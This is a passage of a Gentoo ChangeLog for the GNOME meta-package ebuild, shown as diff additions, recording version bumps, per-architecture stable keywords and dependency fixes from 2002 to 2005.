+  -gnome-2.12_rc1.ebuild, +gnome-2.12.0.ebuild:
+  change libwnck position fixes #105008, remove evolution-exchange from meta,
+  2.12.0 Final Release
+
+  12 Sep 2005; Michael Hanselmann <hansmi@gentoo.org> gnome-2.10.2.ebuild:
+  Stable on ppc.
+
+*gnome-2.12_rc1 (04 Sep 2005)
+
+  04 Sep 2005; John N. Laliberte <allanonjl@dev.gentoo.org>
+  +gnome-2.12_rc1.ebuild:
+  GNOME 2.12 Release Candidate 1
+
+  31 Aug 2005; Herbie Hopkins <herbs@gentoo.org> gnome-2.10.2.ebuild:
+  Stable on amd64.
+
+  29 Aug 2005; Guy Martin <gmsoft@gentoo.org> gnome-2.10.2.ebuild:
+  Stable on hppa.
+
+  26 Aug 2005; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.10.2.ebuild:
+  Stable on sparc
+
+  26 Aug 2005; Leonardo Boshell <leonardop@gentoo.org> gnome-2.10.2.ebuild:
+  Stable on x86.
+
+*gnome-2.11.91_pre1 (22 Aug 2005)
+
+  22 Aug 2005; John N. Laliberte <allanonjl@gentoo.org>
+  +gnome-2.11.91_pre1.ebuild:
+  uncomment some packs as deps since they are now available in the tree.
+
+  02 Aug 2005; Simon Stelling <blubb@gentoo.org> gnome-2.10.1.ebuild:
+  stable on amd64
+
+  31 Jul 2005; Tobias Scherbaum <dertobi123@gentoo.org> gnome-2.10.1.ebuild:
+  ppc stable
+
+  27 Jul 2005; Guy Martin <gmsoft@gentoo.org> gnome-2.10.1.ebuild,
+  gnome-2.10.2.ebuild:
+  Stable on hppa.
+
+  27 Jul 2005; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.10.1.ebuild:
+  Stable on sparc
+
+*gnome-2.10.2 (26 Jul 2005)
+
+  26 Jul 2005; Leonardo Boshell <leonardop@gentoo.org> gnome-2.10.2.ebuild:
+  GNOME 2.10.2 release.
+
+  26 Jul 2005; Leonardo Boshell <leonardop@gentoo.org> gnome-2.10.1.ebuild:
+  Stable on x86.
+
+*gnome-2.10.1 (08 Jul 2005)
+
+  08 Jul 2005; Leonardo Boshell <leonardop@gentoo.org> gnome-2.10.1.ebuild:
+  Final 2.10.1 ebuild, updated all dependencies to upstream versions for
+  GNOME 2.10.1.
+
+  02 Jul 2005; Bryan Østergaard <kloeri@gentoo.org> gnome-2.10-r1.ebuild:
+  Stable on alpha.
+
+  26 Jun 2005; Guy Martin <gmsoft@gentoo.org> gnome-2.10-r1.ebuild:
+  Stable on hppa.
+
+  13 Jun 2005; Bryan Østergaard <kloeri@gentoo.org> gnome-2.10-r1.ebuild:
+  Add ~alpha keyword.
+
+  12 Jun 2005; Olivier Crête <tester@gentoo.org> gnome-2.10-r1.ebuild:
+  Stable on amd64
+
+  12 Jun 2005; Tobias Scherbaum <dertobi123@gentoo.org>
+  gnome-2.10-r1.ebuild:
+  Stable on ppc.
+
+  09 Jun 2005; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.10-r1.ebuild:
+  Stable on sparc
+
+*gnome-2.10-r1 (09 Jun 2005)
+
+  09 Jun 2005; Marinus Schraal <foser@gentoo.org> gnome-2.10-r1.ebuild :
+  Final 2.10 stable meta, include rev bumps for panel & eds bugs
+
+  06 Jun 2005; Guy Martin <gmsoft@gentoo.org> gnome-2.10.ebuild,
+  gnome-2.10.1_pre0.ebuild:
+  Removing useless hppa specific stuff once again from new ebuilds.
+
+  05 Jun 2005; Marinus Schraal <foser@gentoo.org> gnome-2.10.0.ebuild :
+  A few more dep fixes
+  
+  18 May 2005; Jason Wever <weeve@gentoo.org> gnome-2.8.3-r1.ebuild:
+  Stable on SPARC.
+
+  17 May 2005; Guy Martin <gmsoft@gentoo.org> gnome-2.8.3-r1.ebuild:
+  Stable on hppa.
+
+  11 May 2005; Guy Martin <gmsoft@gentoo.org> gnome-2.8.3-r1.ebuild:
+  Stable on hppa.
+
+  09 May 2005; Aron Griffis <agriffis@gentoo.org> gnome-2.10.ebuild:
+  add ~ia64
+
+  08 May 2005; Aron Griffis <agriffis@gentoo.org> gnome-2.8.3-r1.ebuild:
+  stable on ia64
+
+  08 May 2005; Herbie Hopkins <herbs@gentoo.org> gnome-2.8.3-r1.ebuild:
+  Stable on amd64.
+
+  06 May 2005; Markus Rothe <corsair@gentoo.org> gnome-2.10.ebuild,
+  gnome-2.10.1_pre0.ebuild:
+  Added ~ppc64 to KEYWORDS
+
+*gnome-2.10.1_pre0 (03 May 2005)
+
+  03 May 2005; Joe McCann <joem@gentoo.org> +gnome-2.10.1_pre0.ebuild:
+  Add 2.10.1 pre meta
+
+*gnome-2.10 (01 May 2005)
+
+  01 May 2005; Joe McCann <joem@gentoo.org> +gnome-2.10.ebuild:
+  move 2.10 from p.mask to ~arch
+
+  30 Apr 2005; Mike Gardiner <obz@gentoo.org> gnome-2.8.3-r1.ebuild:
+  Marked x86/ppc
+
+  27 Apr 2005; Bryan Østergaard <kloeri@gentoo.org> gnome-2.8.2.ebuild:
+  Stable on ia64.
+
+  07 Apr 2005; Simon Stelling <blubb@gentoo.org> gnome-2.8.2.ebuild:
+  stable on amd64
+
+  02 Apr 2005; Stephen P. Becker <geoman@gentoo.org> gnome-2.8.2.ebuild:
+  stable on mips
+
+  23 Mar 2005; Seemant Kulleen <seemant@gentoo.org> gnome-2.6.ebuild,
+  gnome-2.6.2-r1.ebuild, gnome-2.8.0-r1.ebuild, gnome-2.8.1-r1.ebuild,
+  gnome-2.8.2.ebuild, gnome-2.8.3_pre0.ebuild, gnome-2.8.3.ebuild,
+  gnome-2.8.3-r1.ebuild, gnome-2.10_pre0.ebuild:
+  change dep from net-www/epiphany to www-client/epiphany
+
+  21 Mar 2005; Guy Martin <gmsoft@gentoo.org> gnome-2.8.2.ebuild:
+  Stable on hppa.
+
+  20 Mar 2005; Bryan Østergaard <kloeri@gentoo.org> gnome-2.8.2.ebuild:
+  Stable on alpha.
+
+  19 Mar 2005; Mike Doty <kingtaco@gentoo.org> gnome-2.10_pre0.ebuild:
+  ~amd64, bug 85028
+
+*gnome-2.10_pre0 (11 Mar 2005)
+
+  11 Mar 2005; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.10_pre0.ebuild:
+  To ~sparc wrt #84701
+
+  09 Mar 2005; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.8.2.ebuild:
+  Stable on sparc
+
+  09 Mar 2005; Mike Gardiner <obz@gentoo.org> gnome-2.8.2.ebuild:
+  Keyworded x86 ppc
+
+*gnome-2.8.3-r1 (07 Mar 2005)
+
+  07 Mar 2005; Leonardo Boshell <leonardop@gentoo.org> gnome-2.8.3-r1.ebuild:
+  Added gnome-speech and dasher to the accessibility section.
+
+*gnome-2.8.3 (02 Mar 2005)
+
+  02 Mar 2005; Mike Gardiner <obz@gentoo.org> +gnome-2.8.3.ebuild,
+  gnome-2.8.3_pre0.ebuild:
+  New version, 2.8.3. This release consists almost entirely of bugfixes, and
+  new translations
+
+*gnome-2.8.2 (20 Jan 2005)
+
+  20 Jan 2005; Mike Gardiner <obz@gentoo.org> +gnome-2.8.2.ebuild:
+  New meta version - 2.8.2 in ~arch
+
+  08 Jan 2005; Tom Martin <slarti@gentoo.org> gnome-2.8.1-r1.ebuild:
+  Stable on amd64.
+
+  27 Dec 2004; Guy Martin <gmsoft@gentoo.org> gnome-2.8.1-r1.ebuild:
+  Stable on hppa.
+
+  27 Dec 2004; Joe McCann <joem@gentoo.org> gnome-2.6.1_p1.ebuild,
+  gnome-2.6.3_pre0.ebuild:
+  Remove deps on masked esound and add !mips for epiphany. Fixes bug 75794
+
+  24 Dec 2004; Bryan Østergaard <kloeri@gentoo.org> gnome-2.8.1-r1.ebuild:
+  Stable on alpha.
+
+  22 Dec 2004; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.8.1-r1.ebuild:
+  Stable on sparc
+
+  19 Dec 2004; Mike Gardiner <obz@gentoo.org> gnome-2.8.1-r1.ebuild:
+  Keyworded x86 and ppc - everyone say hello GNOME 2.8.1
+
+  11 Dec 2004; Bryan Østergaard <kloeri@gentoo.org> gnome-2.8.0-r1.ebuild:
+  Stable on alpha.
+
+  11 Dec 2004; Mike Gardiner <obz@gentoo.org> gnome-2.8.1-r1.ebuild,
+  -gnome-2.8.1.ebuild:
+  Moved back to libglade-2.4, as 2.4.1 is buggy/incompatible, see bug #73868
+
+*gnome-2.8.1-r1 (08 Dec 2004)
+
+  08 Dec 2004; Mike Gardiner <obz@gentoo.org> +gnome-2.8.1-r1.ebuild,
+  gnome-2.8.1.ebuild:
+  New version in ~arch, see bug #72798 for the movement from package.mask
+
+  30 Nov 2004; Joe McCann <joem@gentoo.org> gnome-2.8.0-r1.ebuild,
+  gnome-2.8.1.ebuild:
+  Removing gnome-nettool for good so gnome doesn't bring in additional network
+  util deps. See bug #64792
+
+*gnome-2.8.1 (29 Nov 2004)
+
+  29 Nov 2004; Mike Gardiner <obz@gentoo.org> gnome-2.4.2.ebuild,
+  +gnome-2.8.1.ebuild:
+  Added in the meta-tracker for GNOME 2.8.1
+
+  16 Nov 2004; Bryan Østergaard <kloeri@gentoo.org> gnome-2.8.0-r1.ebuild:
+  ~alpha keyword.
+
+  12 Nov 2004; Mike Gardiner <obz@gentoo.org> gnome-2.8.0-r1.ebuild:
+  Keyworded ppc for GNOME 2.8, it's definitely warming up.
+
+  12 Nov 2004; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.8.0-r1.ebuild:
+  Sparc stable, let's warm the place
+
+*gnome-2.8.0-r1 (21 Oct 2004)
+
+  21 Oct 2004; Aron Griffis <agriffis@gentoo.org> gnome-2.8.0-r1.ebuild:
+  add ~ia64
+
+*gnome-2.8.0 (09 Oct 2004)
+
+  09 Oct 2004; foser <foser@gentoo.org> gnome-2.8.0.ebuild :
+  Minor update to pre1 to move to ~arch (#64135)
+  Remove alpha from KEYWORDS for now
+
+  01 Oct 2004; Stephen P. Becker <geoman@gentoo.org> gnome-2.6.2-r1.ebuild:
+  stable on mips
+
+  23 Sep 2004; foser <foser@gentoo.org> gnome-2.8.0_pre1.ebuild :
+  Add hal USE flag for g-v-m
+
+*gnome-2.8.0_pre1 (18 Sep 2004)
+
+  18 Sep 2004; foser <foser@gentoo.org> gnome-2.8.0_pre1.ebuild :
+  First gnome meta for gnome 2.8, still lacks some minor components & updates (#64135)
+
+  24 Aug 2004; Bryan Østergaard <kloeri@gentoo.org> gnome-2.6.2-r1.ebuild:
+  Stable on alpha.
+
+*gnome-2.6.3_pre0 (22 Aug 2004)
+
+  22 Aug 2004; Mike Gardiner <obz@gentoo.org> gnome-2.6.3_pre0.ebuild:
+  Updated all dependencies to latest versions, getting ready for 2.6.3 release
+
+  05 Aug 2004; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.6.2-r1.ebuild:
+  Stable on sparc... weee
+
+  05 Aug 2004; Guy Martin <gmsoft@gentoo.org> gnome-2.6.2-r1.ebuild:
+  Stable on hppa.
+
+  31 Jul 2004; <spider@gentoo.org> gnome-2.6.2-r1.ebuild:
+  stable on x86
+
+*gnome-2.6.2-r1 (23 Jul 2004)
+
+  23 Jul 2004; <spider@gentoo.org> +gnome-2.6.2-r1.ebuild:
+  Revbumped to catch gnome-utils 2.6.2-r1 that fixes a build issue against 2.6
+  headers
+
+*gnome-2.6.2-r1 23 Jul 2004
+
+  23 Jul 2004; Spider <spider@gentoo.org> 
+  # INSERT ENTRY HERE
+
+  12 Jul 2004; <spider@gentoo.org> gnome-2.6.2.ebuild:
+  glib updated
+
+*gnome-2.6.2 (11 Jul 2004)
+
+  11 Jul 2004; <spider@gentoo.org> gnome-1.4-r3.ebuild, +gnome-2.6.2.ebuild:
+  Gnome 2.6.2 release, a lot of dependency changes and hacking. this will need
+  cleanup once a few other arches are sorted out. see comments inside build
+
+  11 Jul 2004; <spider@gentoo.org> gnome-1.4-r3.ebuild:
+  added IUSE flag to shut repoman up
+
+  04 Jul 2004; Bryan Østergaard <kloeri@gentoo.org> gnome-2.6.ebuild:
+  Stable on alpha.
+
+  01 Jul 2004; Aron Griffis <agriffis@gentoo.org> gnome-2.6.1_p1.ebuild,
+  gnome-2.6.1_rc1.ebuild:
+  add ~alpha
+
+  01 Jul 2004; Aron Griffis <agriffis@gentoo.org> gnome-2.6.ebuild:
+  add ~alpha
+
+  04 Jun 2004; Stephen P. Becker <geoman@gentoo.org> gnome-2.6.1_p1.ebuild,
+  gnome-2.6.1_rc1.ebuild, gnome-2.6.ebuild:
+  2.6 stable on mips, 2.6.1 testing
+
+  03 Jun 2004; Stephen P. Becker <geoman@gentoo.org> gnome-2.4.2.ebuild,
+  gnome-2.6.ebuild:
+  Do not build epiphany on mips because mozilla is broken.
+
+  29 May 2004; Pieter Van den Abeele <pvdabeel@gentoo.org> gnome-2.6.ebuild:
+  Masked gnome-2.6.ebuild stable for ppc
+
+  26 May 2004; Guy Martin <gmsoft@gentoo.org> gnome-2.6.1_p1.ebuild,
+  gnome-2.6.ebuild:
+  Removed epiphany from DEPEND for hppa. Added hppa and ~hppa to KEYWORDS.
+
+*gnome-2.6.1_p1 (21 May 2004)
+
+  21 May 2004; foser <foser@gentoo.org> gnome-2.6.1_p1.ebuild :
+  New update tracker
+
+*gnome-2.6.1_rc1 (21 May 2004)
+
+  21 May 2004; foser <foser@gentoo.org> gnome-2.6.1_rc1.ebuild :
+  New meta for 2.6.1 release
+
+  15 May 2004; Stephen P. Becker <geoman@gentoo.org> gnome-2.4.2.ebuild:
+  Stable on mips.
+
+*gnome-2.6_p1 (20 Apr 2004)
+
+  20 Apr 2004; foser <foser@gentoo.org> gnome-2.6_p1.ebuild :
+  update tracker for the gnome team
+  2.6.* : fix typo in postinst note : fam -> famd (#48340)
+
+  17 Apr 2004; Travis Tilley <lv@gentoo.org> gnome-2.4.2.ebuild:
+  stable on amd64
+
+*gnome-2.6 (05 Apr 2004)
+
+  05 Apr 2004; foser <foser@gentoo.org> gnome-2.6.ebuild :
+  Add changelog entry for 2.6 release
+
+*gnome-2.6_rc5 (01 Apr 2004)
+
+  01 Apr 2004; foser <foser@gentoo.org> gnome-2.5_rc5.ebuild :
+  New rc, this is really gnome 2.6 final
+
+*gnome-2.6_rc4 (30 Mar 2004)
+
+  30 Mar 2004; Travis Tilley <lv@gentoo.org> gnome-2.6_rc4.ebuild:
+  added ~amd64 keyword
+
+*gnome-2.6_rc3 (23 Mar 2004)
+
+  23 Mar 2004; L. Boshell <leonardop@gentoo.org> gnome-2.6_rc3.ebuild:
+  Including accessibility packages.
+
+*gnome-2.6_rc2 (22 Mar 2004)
+
+  22 Mar 2004; foser <foser@gentoo.org> gnome-2.6_rc2.ebuild :
+  Updated meta to boost testing, now contains most of gstreamer
+
+*gnome-2.6_rc1 (21 Mar 2004)
+
+  21 Mar 2004; foser <foser@gentoo.org> gnome-2.6_rc1.ebuild :
+  Initial gnome 2.6 meta ebuild
+  Misses gstreamer & accessibility
+
+  09 Mar 2004; <agriffis@gentoo.org> gnome-2.4.2.ebuild:
+  stable on alpha and ia64
+
+*gnome-2.4.2_p1 (14 Feb 2004)
+
+  14 Feb 2004; Alastair Tse <liquidx@gentoo.org> gnome-2.4.2_p1.ebuild:
+  revision bump
+
+  10 Feb 2004; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.4.2.ebuild:
+  stable on hppa and sparc
+
+  10 Feb 2004; Bartosch Pixa <darkspecter@gentoo.org> gnome-2.4.2.ebuild:
+  set ppc in keywords
+
+  07 Feb 2004; foser <foser@gentoo.org> gnome-2.4.2-r1.ebuild :
+  Fix gnome-vfs dep to 2.4.2-r1 to fix a mistake
+
+  06 Feb 2004; <spider@gentoo.org> gnome-2.4.2.ebuild:
+  move intltool, pkg-config, gtk-doc to DEPEND instead of RDEPEND. kills off the
+  last RDEPEND=intltool in my install
+
+  06 Feb 2004; <spider@gentoo.org> gnome-2.4.2.ebuild:
+  updated scrollkeeper to 0.3.14, intltool to 0.30
+  remove outdated warning about KEYWORDS
+
+*gnome-2.4.2 (05 Feb 2004)
+
+  05 Feb 2004; foser <foser@gentoo.org> gnome-2.4.2.ebuild :
+  New release
+
+  29 Jan 2004; Aron Griffis <agriffis@gentoo.org> gnome-2.4.1.ebuild:
+  stable on alpha and ia64
+
+  18 Jan 2004; <gustavoz@gentoo.org> gnome-2.4.1.ebuild:
+  Bumped to stable on hppa and sparc, workaround for lack of mozilla on hppa,
+  enjoy.
+
+  14 Jan 2004; Mike Gardiner <obz@gentoo.org> gnome-2.4.1.ebuild:
+  Marked the meta stable for GNOME 2.4.1
+
+*gnome-2.4.1_p1 (23 Dec 2003)
+
+  23 Dec 2003; foser <foser@gentoo.org> gnome-2.4.1_p1.ebuild :
+  Tracker meta ebuild to keep up with new stable packages
+  This is not meant to ever go stable on any arch
+
+*gnome-2.4.1 (14 Dec 2003)
+
+  14 Dec 2003; foser <foser@gentoo.org> gnome-2.2.4.ebuild :
+  minor dep fixes
+
+  14 Dec 2003; Mike Gardiner <obz@gentoo.org> gnome-2.2.2-r1.ebuild,
+  gnome-2.4.1.ebuild, gnome-2.4.ebuild:
+  2.2.2-r1, removed hppa keyword, dependency xscreensaver isnt marked on that
+  arch. 2.4, removed ia64 keyword, dependency nautilus-cd-burner isnt marked on
+  that arch. And on the brighter side, new version 2.4.1 now in portage
+
+  13 Dec 2003; Guy Martin <gmsoft@gentoo.org> gnome-2.4.ebuild:
+  Marked stable on hppa.
+
+  07 Dec 2003; <spider@gentoo.org> gnome-2.4.ebuild:
+  Added a note about fam for better nautilus behaviour
+
+  14 Nov 2003; Aron Griffis <agriffis@gentoo.org> gnome-2.4.ebuild:
+  Stable on ia64
+
+  08 Nov 2003; Todd Sunderlin <todd@gentoo.org> gnome-2.4.ebuild:
+  added sparc keyword
+
+  22 Oct 2003; Bartosch Pixa <darkspecter@gentoo.org> gnome-2.4.ebuild:
+  set ppc in keywords
+
+  20 Oct 2003; Aron Griffis <agriffis@gentoo.org> gnome-2.4.ebuild:
+  Stable on alpha
+
+  17 Oct 2003; Brad House <brad_mssw@gentoo.org> gnome-2.4_rc1.ebuild:
+  take out ~amd64 flag for now
+
+  06 Oct 2003; Mike Gardiner <obz@gentoo.org> gnome-2.4.ebuild:
+  Marked stable on x86
+
+  23 Sep 2003; Bartosch Pixa <darkspecter@gentoo.org> gnome-2.2.2-r1.ebuild:
+  set ppc in keywords
+
+*gnome-2.4 (12 Sep 2003)
+
+  12 Sep 2003; foser <foser@gentoo.org> gnome-2.4.ebuild :
+  Final listing of deps for 2.4, first release
+  Without accesibility support
+  
+*gnome-2.4_rc1 (07 Sep 2003)
+
+  07 Sep 2003; foser <foser@gentoo.org> gnome-2.4_rc1.ebuild :
+  Gnome 2.4 rc1
+
+*gnome-2.2.2-r1 (25 Aug 2003)
+
+  25 Aug 2003; foser <foser@gentoo.org> gnome-2.2.2-r1.ebuild :
+  Add libgtop dep to the meta pack
+
+  25 Aug 2003; Mike Gardiner <obz@gentoo.org> gnome-2.2.2-r1.ebuild:
+  Marked stable on x86
+
+  12 Aug 2003; Jason Wever <weeve@gentoo.org> gnome-2.2.1.ebuild:
+  Changed ~sparc keyword to sparc.
+
+*gnome-2.2.2 (12 Jul 2003)
+
+  12 Jul 2003; foser <foser@gentoo.org> gnome-2.2.2.ebuild :
+  New version, added intltool dep to be on the safe side with bug #15194
+
+  30 Jun 2003; Bartosch Pixa <darkspecter@gentoo.org> gnome-2.2.1.ebuild:
+  set ppc in keywords
+
+*gnome-2.2.1 (16 Mar 2003)
+
+  02 Jul 2003; Guy Martin <gmsoft@gentoo.org> gnome-2.2.1.ebuild :
+  Added hppa to KEYWORDS and a RDEPEND fix for hppa.
+
+  24 Mar 2003; foser <foser@gentoo.org> gnome-2.2.1.ebuild :
+  upped gnome-panel dep to the correct version (#18087)
+
+  16 Mar 2003; foser <foser@gentoo.org> gnome-2.2.1.ebuild :
+  New release
+  Added accessibility deps
+  Removed eel dep, it is perfectly covered by nautilus
+
+*gnome-2.2-r2 (17 Feb 2003)
+
+  01 Mar 2003; Jason Wever <weeve@gentoo.org> gnome-2.2-r2.ebuild:
+  Addes ~sparc to keywords.
+
+  22 Feb 2003; Aron Griffis <agriffis@gentoo.org> gnome-2.2-r2.ebuild :
+  Mark stable on Alpha
+
+  21 Feb 2003; Aron Griffis <agriffis@gentoo.org> gnome-2.2-r2.ebuild :
+  Don't RDEPEND some packages on alpha where they're broken
+
+  17 Feb 2003; foser <foser@gentoo.org> gnome-2.2-r2.ebuild :
+  fixed gnome-panel dep to 2.2.0.1-r1 to propagete #15685 fix
+
+*gnome-2.2-r1 (10 Feb 2003)
+
+  10 Feb 2003; foser <foser@gentoo.org> gnome-2.2-r1.ebuild :
+  Set gnome-vfs to 2.2.1 to fix theme-manager issues
+
+  06 Feb 2003; Aron Griffis <agriffis@gentoo.org> gnome-2.2.ebuild :
+  Add ~alpha to KEYWORDS
+
+*gnome-2.2 (06 Feb 2003)
+
+  06 Feb 2003; foser <foser@gentoo.org> gnome-2.2.ebuild :
+  Some more cleanups, added ggv and gstreamer deps to the list
+
+*gnome-2.2_rc2-r98 (05 Feb 2003)
+  
+  05 Feb 2003; Spider <spider@gentoo.org> gnome-2.2_rc2-r98.ebuild :
+  sharpened up all deps,  fixed the gnome-system-monitor (duplicate and wrong 
+  version) and added gnome-mime-data
+   this is 2.2.0 pre-release internal gentoo
+  
+*gnome-2.2_rc2 (30 Jan 2003)
+
+  02 Feb 2003; foser <foser@gentoo.org> gnome-2.2_rc2.ebuild :
+  Added acme dep
+
+  01 Feb 2003; foser <foser@gentoo.org> gnome-2.2_rc2.ebuild :
+  Added gnome-system-monitor dep
+
+  31 Jan 2003; foser <foser@gentoo.org> gnome-2.2_rc2.ebuild :
+  Added nautilus-media dep and fixed ORBit2
+
+  30 Jan 2003; foser <foser@gentoo.org> gnome-2.2_rc2.ebuild :
+  GNOME 2.2 RC2
+
+  09 Dec 2002; foser <foser@gentoo.org> gnome-1.4-r3.ebuild :
+  Fixed sawfish dep (bug #11832)
+
+* Autoupdate keywords (12-6-02)
+  06 Dec 2002; Rodney Rees <manson@gentoo.org> : changed sparc ~sparc keywords
+ 
+*gnome-2.0.3-r1 (06 Dec 2002)
+
+  03 Jan 2002; foser <foser@gentoo.org> gnome-2.0.3-r1.ebuild :
+  Fixed gtk/pango/atk/glib to depend on stable versions (fixes problems alpha arch)
+
+  06 Dec 2002; foser <foser@gentoo.org> gnome-2.0.3-r1.ebuild :
+  2.0.3 with Xft2 stuff
+
+*gnome-2.0.3 (28 Nov 2002)
+  
+  28 Nov 2002; Spider <spider@gentoo.org> gnome-2.0.3.ebuild :
+  Gnome 2.0.3 master build, all deps updated.
+  
+*gnome-2.1.2 (12 Nov 2002)
+
+  03 Dec 2002; Jon Nall <nall@gentoo.org> gnome-2.1.2.ebuild :
+  keyworded ~ppc
+
+  12 Nov 2002; foser <foser@gentoo.org> gnome-2.1.2.ebuild :
+  GNOME 2.1.2 release "Life Preserver"
+
+*gnome-2.1.1 (27 Oct 2002)
+
+  27 Oct 2002; foser <foser@gentoo.org> gnome-2.1.1.ebuild :
+  Gnome 2.1 commit
+
+*gnome-2.0.2-r2 (17 Oct 2002)
+
+  17 Oct 2002; foser <foser@gentoo.org> gnome-2.0.2-r2.ebuild :
+  pango, gnome-session, gnome-panel and gnome-desktop updated
+
+*gnome-2.0.2-r1 (20 Sep 2002)
+  20 sep 2002; Spider <spider@gentoo.org> gnome-2.0.2-r1.ebuild :
+  updated gnome-vfs needs propagation
+  
+*gnome-2.0.2 (15 Sep 2002)
+  15 Sep 2002; Spider <spider@gentoo.org> gnome-2.0.2.ebuild :
+  back in style
+
+*gnome-2.0.2_rc1-r1 (14 Sep 2002)
+  14 Sep 2002; Spider <spider@gentoo.org>
+    some new packages
+   
+*gnome-2.0.2_rc1 (13 Sep 2002)
+  13 Sep 2002; Spider <spider@gentoo.org> 
+  after an absence, 2.0.2_rc1 is done
+
+
+*gnome-2.0.2_pre1 ( 06 Sep 2002) 
+  06 Sep 2002; Spider <spider@gentoo.org> 
+  all versions changed.. wheee
+  ready for 2.0.2 soon
+ 
+*gnome-2.0.1 (18 Aug 2002)
+  18 Aug 2002; Spider <spider@gentoo.org> gnome-2.0.1.ebuild :
+  finally a new sharp release from us. not announced before due to testing
+
+*gnome-2.0.1_rc1 (10 Aug 2002)
+  10 Aug 2002; Spider <spider@gentoo.org> gnome-2.0.1_rc1.ebuild :
+  New gnome rc, all packages updated on deps.
+  
+gnome-2.0.0-r2 (24 Jul 2002)
+  * 24 Jul 2002; Spider <spider@gentoo.org> 
+  updated with SLOT KEYWORDS and LICENSE
+
+gnome-1.4-r3 (24 Jul 2002)
+  24 Jul 2002; Spider <spider@gentoo.org>
+  updated with SLOT KEYWORDS and LICENSE
+    
+gnome-2.0.0 (24 Jul 2002)
+  24 Jul 2002; Spider <spider@gentoo.org>
+  updated with SLOT KEYWORDS and LICENSE
+      
+*gnome-2.0.0-r1 (16 Jul 2002)
+
+  16 Jul 2002; Gabriele Giorgetti <stroke@gentoo.org> gnome-2.0.0-r1.ebuild :
+  Few packages in the list have been updated. Debugging is still there.
+
+*gnome-2.0.0 (27 Jun 2002)
+  27 Jun 2002; Spider <spider@gentoo.org> gnome-2.0.0.ebuild :
+  A final release. quite big list this time, we'll keep it so for another two weks and then do a -r1 without debugging.
+  
+  29 Jun 2002; Spider <spider@gentoo.org>
+  Updating and adding gnome2-user-docs
+
+
+*gnome-2.0.0_rc2 (22 Jun 2002)
+  22 Jun 2002; Spider <spider@gentoo.org> gnome-2.0.0_rc2.ebuild :
+  the light is finally turning towards a darker period, summer solstice has passed and so did the Gnome 2 release date, and no Final release yet, but, from the celebrations a new greeting springs out to you all..... "Glad Midsommar" and a second Release Candidate!
+
+
+  
+*gnome-2.0.0_rc1-r2 (20 Jun 2002)
+  20 Jun 2002; Spider <spider@gentoo.org> gnome-2.0.0_rc1-r2.ebuild :
+  Major updates to the ebuild, now with far less packages defined, we are close to release and this is my first proposal for a rc for the gentoo package list. 
+  please test this and see if all components get installed properly, they should however be so.
+
+
+  
+*gnome-2.0.0_rc1-r1 (17 Jun 2002)
+  17 Jun 2002; Spider <spider@gentoo.org> gnome-2.0.0_rc1-r1.ebuild :
+  new gnome utils, panel and desktop, updated gnome-vfs with a patch that fixes a nautilus bug, new glib, gtk+ and pango versions.
+
+  
+gnome-2.0.0_rc1 (14 Jun 2002)
+  14 Jun 2002 ;Spider <spider@gentoo.org> gnome-2.0.0_rc1.ebuild
+  I have removed the previous rc1 and added a r22 because -rc wasn't final.
+  the new rc1 has a anti-dependency on gnome-core and includes gnome-games
+
+
+*gnome-2.0.0_rc1 (12 Jun 2002)
+  12 Jun 2002; Spider <spider@gentoo.org> gnome-2.0.0_rc1.ebuild :
+  Finally the first releaser candidate is out
+  
+*gnome-2.0.0_beta5-r21 (11 jun 2002)
+  11 Jun 2002 ;Spider <spider@gentoo.org> gnome-2.0.0_beta5-r21.ebuild :
+  tracked down an elusive install bug
+  
+*gnome-2.0.0_beta5-r20 (11 jun 2002)
+  11 Jun 2002 ;Spider <spider@gentoo.org> gnome-2.0.0_beta5-r20.ebuild :
+  whopps, even more packages updated.
+  nautilus eel gail libzvt libgnome libgnomecanvas libgnomeui at-spi gnome-utils gnome-applets libgtop gnome-system-monitor and moooore
+  
+*gnome-2.0.0_beta5-r19 (10 Jun 2002)
+  10 Jun 2002; Spider <spider@gentoo.org> gnome-2.0.0_beta5-r19.ebuild :
+  gnome-panel, gnome-desktop, gnome-session
+    
+
+*gnome-2.0.0_beta5-r18 (08 Jun 2002)
+  8 Jun 2002; Spider <spider@gentoo.org> gnome-2.0.0_beta5-r18.ebuild :
+  gdm 2.4.0.0
+  
+*gnome-2.0.0_beta5-r17 (07 Jun 2002)
+  7 Jun 2002; Gabriele Giorgetti <stroke@gentoo.org> gnome-2.0.0_beta5-r17.ebuild :
+  libgnomecanvas-2.0.0 libgnomeui-2.0.0
+
+
+*gnome-2.0.0_beta5-r16 (07 Jun 2002) 
+  7 Jun 2002; Spider <spider@gentoo.org> gnome-2.0.0_beta5-r16.ebuild :
+  added libwnck, libglade-2.0.0 and the new libgnome-2.0.0 :)
+
+  
+*gnome-2.0.0_beta5-r15 (06 Jun 2002)
+  6 Jun 2002; Spider <spider@gentoo.org> gnome-2.0.0_beta5-r15.ebuild :
+  lets see how many new packages we can do in a day? x2
+    
+*gnome-2.0.0_beta5-r14 (06 Jun 2002)
+  6 Jun 2002; Spider <spider@gentoo.org> gnome-2.0.0_beta5-r14.ebuild :
+  lets see how many new packages we can do in a day?
+
+
+*gnome-2.0.0-beta5-r13 (5 Jun 2002)
+  5 Jun 2002; Gabriele Giorgetti <stroke@gentoo.org> gnome-2.0.0-beta5-r13.ebuild:
+  new versions ( too many to list ).
+
+*gnome-2.0.0-beta5-r12 (1 Jun 2002)
+  1 Jun 2002; Spider <spider@gentoo.org> gnome-2.0.0-beta5-r12.ebuild :
+  libonobo libonoboui bonobo-activation and scrollkeeper updates
+
+*gnome-2.0.0-beta5-r11 (31 May 2002)
+  31 May 2002; Spider <spider@gentoo.org> gnome-2.0.0-beta5-r11.ebuild :
+  new gedit version
+
+*gnome-2.0.0-beta5-r10 (30 May 2002)
+  30 May 2002; Spider <spider@gentoo.org> gnome-2.0.0-beta5-r10.ebuild ChangeLog : 
+  Updating ChangeLog (last revision ;)
+  new yelp version. soon I'll be able to update theese things in my sleep
+
+*gnome-2.0.0-beta5-r9 (30 May 2002)
+
+  30 May 2002; Bruce A. Locke <blocke@shivan.org> gnome-2.0.0-beta5-r9.ebuild:
+  
+  Bump libzvt version to fix color issues
+    
+*gnome-2.0.0-beta5-r8 (29 May 2002)
